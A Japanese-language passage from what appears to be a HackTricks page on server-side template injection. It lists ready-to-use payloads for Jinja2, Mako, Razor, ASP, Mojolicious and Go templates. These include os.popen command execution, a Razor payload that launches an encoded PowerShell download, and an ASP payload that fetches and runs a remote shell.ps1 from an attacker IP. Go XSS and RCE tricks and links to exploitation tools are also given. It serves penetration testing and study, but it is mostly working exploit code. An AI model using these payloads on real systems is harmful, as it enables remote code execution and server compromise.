{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - テンプレート形式
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinjaの乱用方法の詳細:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Razor (.Net)
@(2+2) <= 成功
@() <= 成功
@("{{code}}") <= 成功
@ <= 成功
@{} <= エラー!
@{ <= エラー!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NETのSystem.Diagnostics.Process.Start
メソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例は、https://github.com/cnotin/RazorVulnerableApp で見つけることができます。
詳細情報
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nothing<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
詳細
Mojolicious (Perl)
パールであっても、RubyのERBのようなタグを使用します。
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
GOにおけるSSTI
バックエンドで使用されているテンプレートエンジンがGoであることを確認する方法は、次のペイロードを使用できます:
{{ . }}
= テンプレートに渡されるデータ構造- 渡されたデータが例えばPassword属性を含むオブジェクトである場合、前述のペイロードはそれを漏洩させますが、
{{ .Password }}
のようにもできます {{printf "%s" "ssti" }}
= 応答に文字列sstiを出力するはずです{{html "ssti"}}
,{{js "ssti"}}
= これらは、"js"や"html"といった後続する単語なしに文字列"ssti"を出力するいくつかの他のペイロードです。エンジンでさらにキーワードを参照できますこちら。
XSSの悪用
サーバーがtext/templateパッケージを使用している場合、単純にペイロードを入力として提供することでXSSを簡単に達成できます。ただし、それはhtml/templateの場合ではありません。応答をHTMLエンコードします:{{"<script>alert(1)</script>"}}
--> <script>alert(1)</script>
ただし、Goではテンプレート全体を定義してから後で呼び出すことができます。ペイロードは次のようになります:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
RCEの悪用
html/templateモジュールとtext/templateモジュールのドキュメントはこちらで見つけることができ、はい、かなり異なります。例えば、text/templateでは、「call」値を使用して任意の公開関数を直接呼び出すことができますが、html/templateではそうではありません。
GoでSSTIを介してRCEを見つけたい場合、テンプレートに渡されたオブジェクトに{{ . }}
でアクセスできるように、オブジェクトのメソッドを呼び出すこともできます。したがって、渡されたオブジェクトにSystemというコマンドを実行するメソッドがあると想定すると、{{ .System "ls" }}
で悪用できます。
したがって、おそらくソースコードが必要になります。そのようなものの潜在的なソースコードは次のようになります:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
詳細情報
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
その他の攻撃手法
他の攻撃手法については、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injectionをチェックしてください。また、興味深いタグ情報はhttps://github.com/DiogoMRSilva/websitesVulnerableToSSTIで見つけることができます。
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
関連するヘルプ
役立つと思われる場合は、以下を参照してください:
ツール
{% embed url="https://github.com/Hackmanit/TInjA" %}
{% embed url="https://github.com/vladko312/sstimap" %}
{% embed url="https://github.com/epinna/tplmap" %}
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
練習&参考
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCONはスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスウォッグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローする🐦 @carlospolopm。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。